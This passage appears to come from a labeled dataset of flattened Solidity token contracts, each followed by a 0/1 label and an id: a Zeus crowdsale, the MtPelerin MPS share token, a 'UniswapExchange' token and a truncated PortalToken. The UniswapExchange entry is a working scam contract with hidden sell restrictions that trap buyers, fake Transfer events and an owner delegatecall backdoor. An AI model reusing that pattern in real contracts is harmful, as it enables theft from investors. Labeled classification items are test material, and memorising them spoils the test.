1 days) { if (_valueUSDWEI > 30000 * 1 ether) { tokenPriceUSDWEI = 7500000000000000; } else { tokenPriceUSDWEI = 8500000000000000; } } else if (now < crowdsaleStartTime + 1 weeks) { tokenPriceUSDWEI = 9000000000000000; } else if (now < crowdsaleStartTime + 2 weeks) { tokenPriceUSDWEI = 9500000000000000; } else { tokenPriceUSDWEI = 10000000000000000; } } } function startPrivateSale(address _beneficiary, uint _etherPriceUSDWEI, uint _totalLimitUSDWEI) external onlyOwner { require(state == State.Initial); beneficiary = _beneficiary; etherPriceUSDWEI = _etherPriceUSDWEI; totalLimitUSDWEI = _totalLimitUSDWEI; crowdsaleStartTime = now; setState(State.PrivateSale); } function finishPrivateSaleAndStartPreSale( address _beneficiary, uint _etherPriceUSDWEI, uint _totalLimitUSDWEI, uint _crowdsaleDurationDays) public onlyOwner { require(state == State.PrivateSale); bool isSent = beneficiary.call.gas(3000000).value(this.balance)(); require(isSent); crowdsaleStartTime = now; beneficiary = _beneficiary; etherPriceUSDWEI = _etherPriceUSDWEI; totalLimitUSDWEI = _totalLimitUSDWEI; crowdsaleFinishTime = now + _crowdsaleDurationDays * 1 days; collectedUSDWEI = 0; setState(State.PreSale); } function finishPreSale() public onlyOwner { require(state == State.PreSale); bool isSent = beneficiary.call.gas(3000000).value(this.balance)(); require(isSent); setState(State.WaitingForSale); } function startSale( address _beneficiary, uint _etherPriceUSDWEI, uint _totalLimitUSDWEI, uint _crowdsaleDurationDays, uint _minimalSuccessUSDWEI) external onlyOwner { require(state == State.WaitingForSale); crowdsaleStartTime = now; beneficiary = _beneficiary; etherPriceUSDWEI = _etherPriceUSDWEI; totalLimitUSDWEI = _totalLimitUSDWEI; crowdsaleFinishTime = now + _crowdsaleDurationDays * 1 days; minimalSuccessUSDWEI = _minimalSuccessUSDWEI; collectedUSDWEI = 0; setState(State.Sale); } function failSale(uint _investorsToProcess) public { require(state == State.Sale); require(now >= crowdsaleFinishTime && collectedUSDWEI < minimalSuccessUSDWEI); while (_investorsToProcess > 0 && numberOfInvestors > 0) { address addr = investorsIter[--numberOfInvestors]; Investor memory inv = investors[addr]; burnTokens(addr, inv.amountTokens); --_investorsToProcess; delete investorsIter[numberOfInvestors]; investorsToWithdrawIter[numberOfInvestorsToWithdraw] = addr; numberOfInvestorsToWithdraw++; } if (numberOfInvestors > 0) { return; } setState(State.SaleFailed); } function completeSale(uint _investorsToProcess) public onlyOwner { require(state == State.Sale); require(collectedUSDWEI >= minimalSuccessUSDWEI); while (_investorsToProcess > 0 && numberOfInvestors > 0) { --numberOfInvestors; --_investorsToProcess; delete investors[investorsIter[numberOfInvestors]]; delete investorsIter[numberOfInvestors]; } if (numberOfInvestors > 0) { return; } emitAdditionalTokens(); bool isSent = beneficiary.call.gas(3000000).value(this.balance)(); require(isSent); setState(State.CrowdsaleCompleted); } function setEtherPriceUSDWEI(uint _etherPriceUSDWEI) external onlyOwnerOrOracle { etherPriceUSDWEI = _etherPriceUSDWEI; } function setBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != 0); beneficiary = _beneficiary; } function withdrawBack() external saleFailedState { returnInvestmentsToInternal(msg.sender); } function returnInvestments(uint _investorsToProcess) public saleFailedState { while (_investorsToProcess > 0 && numberOfInvestorsToWithdraw > 0) { address addr = investorsToWithdrawIter[--numberOfInvestorsToWithdraw]; delete investorsToWithdrawIter[numberOfInvestorsToWithdraw]; --_investorsToProcess; returnInvestmentsToInternal(addr); } } function returnInvestmentsTo(address _to) public saleFailedState { returnInvestmentsToInternal(_to); } function returnInvestmentsToInternal(address _to) internal { Investor memory inv = investors[_to]; uint value = inv.amountWei; if (value > 0) { delete investors[_to]; require(_to.call.gas(3000000).value(value)()); } } function withdrawFunds(uint _value) public onlyOwner { require(state == State.PrivateSale || state == State.PreSale || (state == State.Sale && collectedUSDWEI > minimalSuccessUSDWEI)); if (_value == 0) { _value = this.balance; } bool isSent = beneficiary.call.gas(3000000).value(_value)(); require(isSent); } modifier limitNotExceeded { require(collectedUSDWEI < totalLimitUSDWEI); _; } modifier crowdsaleState { require(state == State.PrivateSale || state == State.PreSale || state == State.Sale); _; } modifier saleFailedState { require(state == State.SaleFailed); _; } modifier completedSaleState { require(state == State.CrowdsaleCompleted); _; } } contract Token is Crowdsale, ERC20 { mapping(address => uint) internal balances; mapping(address => mapping(address => uint)) public allowed; uint8 public constant decimals = 8; function Token() payable Crowdsale() {} function balanceOf(address who) constant returns(uint) { return balances[who]; } function transfer(address _to, uint _value) public completedSaleState onlyPayloadSize(2 * 32) { require(balances[msg.sender] >= _value); require(balances[_to] + _value >= balances[_to]); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public completedSaleState onlyPayloadSize(3 * 32) { require(balances[_from] >= _value); require(balances[_to] + _value >= balances[_to]); require(allowed[_from][msg.sender] >= _value); balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) public completedSaleState { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant completedSaleState returns(uint remaining) { return allowed[_owner][_spender]; } modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } } contract MigratableToken is Token { function MigratableToken() payable Token() {} address public migrationAgent; uint public totalMigrated; address public migrationHost; mapping(address => bool) migratedInvestors; event Migrated(address indexed from, address indexed to, uint value); function setMigrationHost(address _address) external onlyOwner { require(_address != 0); migrationHost = _address; } function migrateInvestorFromHost(address _address) external onlyOwner { require(migrationHost != 0 && state != State.SaleFailed && migratedInvestors[_address] == false); PreZeusToken preZeus = PreZeusToken(migrationHost); uint tokensToTransfer = preZeus.balanceOf(_address); require(tokensToTransfer > 0); balances[_address] = tokensToTransfer; totalSupply += tokensToTransfer; migratedInvestors[_address] = true; if (state != State.CrowdsaleCompleted) { Investor storage inv = investors[_address]; investorsIter[numberOfInvestors++] = _address; inv.amountTokens += tokensToTransfer; } Transfer(this, _address, tokensToTransfer); } function migrate() external { require(migrationAgent != 0); uint value = balances[msg.sender]; balances[msg.sender] -= value; Transfer(msg.sender, this, value); totalSupply -= value; totalMigrated += value; MigrationAgent(migrationAgent).migrateFrom(msg.sender, value); Migrated(msg.sender, migrationAgent, value); } function setMigrationAgent(address _agent) external onlyOwner { require(migrationAgent == 0); migrationAgent = _agent; } } contract ZeusToken is MigratableToken { string public constant symbol = "ZST"; string public constant name = "Zeus Token"; mapping(address => bool) public allowedContracts; function ZeusToken() payable MigratableToken() {} function emitTokens(address _investor, uint _tokenPriceUSDWEI, uint _valueUSDWEI) internal returns(uint tokensToEmit) { tokensToEmit = (_valueUSDWEI * (10 ** uint(decimals))) / _tokenPriceUSDWEI; require(balances[_investor] + tokensToEmit > balances[_investor]); require(tokensToEmit > 0); balances[_investor] += tokensToEmit; totalSupply += tokensToEmit; Transfer(this, _investor, tokensToEmit); } function emitAdditionalTokens() internal { uint tokensToEmit = totalSupply * 1000 / 705 - totalSupply; require(balances[beneficiary] + tokensToEmit > balances[beneficiary]); require(tokensToEmit > 0); balances[beneficiary] += tokensToEmit; totalSupply += tokensToEmit; Transfer(this, beneficiary, tokensToEmit); } function burnTokens(address _address, uint _amount) internal { balances[_address] -= _amount; totalSupply -= _amount; Transfer(_address, this, _amount); } function addAllowedContract(address _address) external onlyOwner { require(_address != 0); allowedContracts[_address] = true; } function removeAllowedContract(address _address) external onlyOwner { require(_address != 0); delete allowedContracts[_address]; } function transferToKnownContract(address _to, uint256 _value, bytes32[] _data) external onlyAllowedContracts(_to) { var knownContract = KnownContract(_to); transfer(_to, _value); knownContract.transfered(msg.sender, _value, _data); } modifier onlyAllowedContracts(address _address) { require(allowedContracts[_address] == true); _; } }
1
3,263
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ISeizable { function seize(address _account, uint256 _value) public; event Seize(address account, uint256 amount); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Authority is Ownable { address authority; modifier onlyAuthority { require(msg.sender == authority, "AU01"); _; } function authorityAddress() public view returns (address) { return authority; } function defineAuthority(string _name, address _address) public onlyOwner { emit AuthorityDefined(_name, _address); authority = _address; } event AuthorityDefined( string name, address _address ); } contract SeizableToken is BasicToken, Authority, ISeizable { using SafeMath for uint256; uint256 public allTimeSeized = 0; function seize(address _account, uint256 _value) public onlyAuthority { require(_account != owner, "ST01"); balances[_account] = balances[_account].sub(_value); balances[authority] = balances[authority].add(_value); allTimeSeized += _value; emit Seize(_account, _value); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract IProvableOwnership { function proofLength(address _holder) public view returns (uint256); function proofAmount(address _holder, uint256 _proofId) public view returns (uint256); function proofDateFrom(address _holder, uint256 _proofId) public view returns (uint256); function proofDateTo(address _holder, uint256 _proofId) public view returns (uint256); function createProof(address _holder) public; function checkProof(address _holder, uint256 _proofId, uint256 _at) public view returns (uint256); function transferWithProofs( address _to, uint256 _value, bool _proofFrom, bool _proofTo ) public returns (bool); function transferFromWithProofs( address _from, address _to, uint256 _value, bool _proofFrom, bool _proofTo ) public returns (bool); event ProofOfOwnership(address indexed holder, uint256 proofId); } contract IAuditableToken { function lastTransactionAt(address _address) public view returns (uint256); function lastReceivedAt(address _address) public view returns (uint256); function lastSentAt(address _address) public view returns (uint256); function transactionCount(address _address) public view returns (uint256); function receivedCount(address _address) public view returns (uint256); function sentCount(address _address) public view returns (uint256); function totalReceivedAmount(address _address) public view returns (uint256); function totalSentAmount(address _address) public view returns (uint256); } contract AuditableToken is IAuditableToken, StandardToken { struct Audit { uint256 createdAt; uint256 lastReceivedAt; uint256 lastSentAt; uint256 receivedCount; uint256 sentCount; uint256 totalReceivedAmount; uint256 totalSentAmount; } mapping(address => Audit) internal audits; function auditCreatedAt(address _address) public view returns (uint256) { return audits[_address].createdAt; } function lastTransactionAt(address _address) public view returns (uint256) { return ( audits[_address].lastReceivedAt > audits[_address].lastSentAt ) ? audits[_address].lastReceivedAt : audits[_address].lastSentAt; } function lastReceivedAt(address _address) public view returns (uint256) { return audits[_address].lastReceivedAt; } function lastSentAt(address _address) public view returns (uint256) { return audits[_address].lastSentAt; } function transactionCount(address _address) public view returns (uint256) { return audits[_address].receivedCount + audits[_address].sentCount; } function receivedCount(address _address) public view returns (uint256) { return audits[_address].receivedCount; } function sentCount(address _address) public view returns (uint256) { return audits[_address].sentCount; } function totalReceivedAmount(address _address) public view returns (uint256) { return audits[_address].totalReceivedAmount; } function totalSentAmount(address _address) public view returns (uint256) { return audits[_address].totalSentAmount; } function transfer(address _to, uint256 _value) public returns (bool) { if (!super.transfer(_to, _value)) { return false; } updateAudit(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (!super.transferFrom(_from, _to, _value)) { return false; } updateAudit(_from, _to, _value); return true; } function currentTime() internal view returns (uint256) { return now; } function updateAudit(address _sender, address _receiver, uint256 _value) private returns (uint256) { Audit storage senderAudit = audits[_sender]; senderAudit.lastSentAt = currentTime(); senderAudit.sentCount++; senderAudit.totalSentAmount += _value; if (senderAudit.createdAt == 0) { senderAudit.createdAt = currentTime(); } Audit storage receiverAudit = audits[_receiver]; receiverAudit.lastReceivedAt = currentTime(); receiverAudit.receivedCount++; receiverAudit.totalReceivedAmount += _value; if (receiverAudit.createdAt == 0) { receiverAudit.createdAt = currentTime(); } } } contract ProvableOwnershipToken is IProvableOwnership, AuditableToken, Ownable { struct Proof { uint256 amount; uint256 dateFrom; uint256 dateTo; } mapping(address => mapping(uint256 => Proof)) internal proofs; mapping(address => uint256) internal proofLengths; function proofLength(address _holder) public view returns (uint256) { return proofLengths[_holder]; } function proofAmount(address _holder, uint256 _proofId) public view returns (uint256) { return proofs[_holder][_proofId].amount; } function proofDateFrom(address _holder, uint256 _proofId) public view returns (uint256) { return proofs[_holder][_proofId].dateFrom; } function proofDateTo(address _holder, uint256 _proofId) public view returns (uint256) { return proofs[_holder][_proofId].dateTo; } function checkProof(address _holder, uint256 _proofId, uint256 _at) public view returns (uint256) { if (_proofId < proofLengths[_holder]) { Proof storage proof = proofs[_holder][_proofId]; if (proof.dateFrom <= _at && _at <= proof.dateTo) { return proof.amount; } } return 0; } function createProof(address _holder) public { createProofInternal( _holder, balanceOf(_holder), lastTransactionAt(_holder) ); } function transferWithProofs( address _to, uint256 _value, bool _proofSender, bool _proofReceiver ) public returns (bool) { uint256 balanceBeforeFrom = balanceOf(msg.sender); uint256 beforeFrom = lastTransactionAt(msg.sender); uint256 balanceBeforeTo = balanceOf(_to); uint256 beforeTo = lastTransactionAt(_to); if (!super.transfer(_to, _value)) { return false; } transferPostProcessing( msg.sender, balanceBeforeFrom, beforeFrom, _proofSender ); transferPostProcessing( _to, balanceBeforeTo, beforeTo, _proofReceiver ); return true; } function transferFromWithProofs( address _from, address _to, uint256 _value, bool _proofSender, bool _proofReceiver) public returns (bool) { uint256 balanceBeforeFrom = balanceOf(_from); uint256 beforeFrom = lastTransactionAt(_from); uint256 balanceBeforeTo = balanceOf(_to); uint256 beforeTo = lastTransactionAt(_to); if (!super.transferFrom(_from, _to, _value)) { return false; } transferPostProcessing( _from, balanceBeforeFrom, beforeFrom, _proofSender ); transferPostProcessing( _to, balanceBeforeTo, beforeTo, _proofReceiver ); return true; } function createProofInternal( address _holder, uint256 _amount, uint256 _from) internal { uint proofId = proofLengths[_holder]; proofs[_holder][proofId] = Proof(_amount, _from, currentTime()); proofLengths[_holder] = proofId+1; emit ProofOfOwnership(_holder, proofId); } function transferPostProcessing( address _holder, uint256 _balanceBefore, uint256 _before, bool _proof) private { if (_proof) { createProofInternal(_holder, _balanceBefore, _before); } } event ProofOfOwnership(address indexed holder, uint256 proofId); } interface IClaimable { function hasClaimsSince(address _address, uint256 at) external view returns (bool); } contract IWithClaims { function claimableLength() public view returns (uint256); function claimable(uint256 _claimableId) public view returns (IClaimable); function hasClaims(address _holder) public view returns (bool); function defineClaimables(IClaimable[] _claimables) public; event ClaimablesDefined(uint256 count); } contract TokenWithClaims is IWithClaims, ProvableOwnershipToken { IClaimable[] claimables; constructor(IClaimable[] _claimables) public { claimables = _claimables; } function claimableLength() public view returns (uint256) { return claimables.length; } function claimable(uint256 _claimableId) public view returns (IClaimable) { return claimables[_claimableId]; } function hasClaims(address _holder) public view returns (bool) { uint256 lastTransaction = lastTransactionAt(_holder); for (uint256 i = 0; i < claimables.length; i++) { if (claimables[i].hasClaimsSince(_holder, lastTransaction)) { return true; } } return false; } function transfer(address _to, uint256 _value) public returns (bool) { bool proofFrom = hasClaims(msg.sender); bool proofTo = hasClaims(_to); return super.transferWithProofs( _to, _value, proofFrom, proofTo ); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { bool proofFrom = hasClaims(_from); bool proofTo = hasClaims(_to); return super.transferFromWithProofs( _from, _to, _value, proofFrom, proofTo ); } function transferWithProofs( address _to, uint256 _value, bool _proofFrom, bool _proofTo ) public returns (bool) { bool proofFrom = _proofFrom || hasClaims(msg.sender); bool proofTo = _proofTo || hasClaims(_to); return super.transferWithProofs( _to, _value, proofFrom, proofTo ); } function transferFromWithProofs( address _from, address _to, uint256 _value, bool _proofFrom, bool _proofTo ) public returns (bool) { bool proofFrom = _proofFrom || hasClaims(_from); bool proofTo = _proofTo || hasClaims(_to); return super.transferFromWithProofs( _from, _to, _value, proofFrom, proofTo ); } function defineClaimables(IClaimable[] _claimables) public onlyOwner { claimables = _claimables; emit ClaimablesDefined(claimables.length); } } interface IRule { function isAddressValid(address _address) external view returns (bool); function isTransferValid(address _from, address _to, uint256 _amount) external view returns (bool); } contract IWithRules { function ruleLength() public view returns (uint256); function rule(uint256 _ruleId) public view returns (IRule); function validateAddress(address _address) public view returns (bool); function validateTransfer(address _from, address _to, uint256 _amount) public view returns (bool); function defineRules(IRule[] _rules) public; event RulesDefined(uint256 count); } contract WithRules is IWithRules, Ownable { IRule[] internal rules; constructor(IRule[] _rules) public { rules = _rules; } function ruleLength() public view returns (uint256) { return rules.length; } function rule(uint256 _ruleId) public view returns (IRule) { return rules[_ruleId]; } function validateAddress(address _address) public view returns (bool) { for (uint256 i = 0; i < rules.length; i++) { if (!rules[i].isAddressValid(_address)) { return false; } } return true; } function validateTransfer(address _from, address _to, uint256 _amount) public view returns (bool) { for (uint256 i = 0; i < rules.length; i++) { if (!rules[i].isTransferValid(_from, _to, _amount)) { return false; } } return true; } modifier whenAddressRulesAreValid(address _address) { require(validateAddress(_address), "WR01"); _; } modifier whenTransferRulesAreValid( address _from, address _to, uint256 _amount) { require(validateTransfer(_from, _to, _amount), "WR02"); _; } function defineRules(IRule[] _rules) public onlyOwner { rules = _rules; emit RulesDefined(rules.length); } } contract TokenWithRules is StandardToken, WithRules { constructor(IRule[] _rules) public WithRules(_rules) { } function transfer(address _to, uint256 _value) public whenTransferRulesAreValid(msg.sender, _to, _value) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenTransferRulesAreValid(_from, _to, _value) whenAddressRulesAreValid(msg.sender) returns (bool) { return super.transferFrom(_from, _to, _value); } } contract BridgeToken is TokenWithRules, TokenWithClaims, SeizableToken { string public name; string public symbol; constructor(string _name, string _symbol) TokenWithRules(new IRule[](0)) TokenWithClaims(new IClaimable[](0)) public { name = _name; symbol = _symbol; } } contract IMintable { function mintingFinished() public view returns (bool); function mint(address _to, uint256 _amount) public returns (bool); function finishMinting() public returns (bool); event Mint(address indexed to, uint256 amount); event MintFinished(); } contract MintableToken is StandardToken, Ownable, IMintable { bool public mintingFinished = false; function mintingFinished() public view returns (bool) { return mintingFinished; } modifier canMint() { require(!mintingFinished, "MT01"); _; } function mint( address _to, uint256 _amount ) public canMint onlyOwner returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() public canMint onlyOwner returns (bool) { mintingFinished = true; emit MintFinished(); return true; } event Mint(address indexed to, uint256 amount); event MintFinished(); } contract MintableBridgeToken is BridgeToken, MintableToken { string public name; string public symbol; constructor(string _name, string _symbol) BridgeToken(_name, _symbol) public { name = _name; symbol = _symbol; } } contract ShareBridgeToken is MintableBridgeToken { uint256 public decimals = 0; constructor(string _name, string _symbol) public MintableBridgeToken(_name, _symbol) { } } contract MPSToken is ShareBridgeToken { constructor() public ShareBridgeToken("MtPelerin Shares", "MPS") { } }
1
5,213
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,257
pragma solidity ^0.4.18; contract ERC20Token { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint256 remaining); } contract PortalToken is ERC20Token { address public initialOwner; uint256 public supply = 1000000000 * 10 ** 18; string public name = 'PortalToken'; uint8 public decimals = 18; string public symbol = 'PTC'; string public version = 'v0.1'; bool public transfersEnabled = true; uint public creationBlock; uint public creationTime; mapping (address => uint256) balance; mapping (address => mapping (address => uint256)) m_allowance; mapping (address => uint) jail; mapping (address => uint256) jailAmount; event 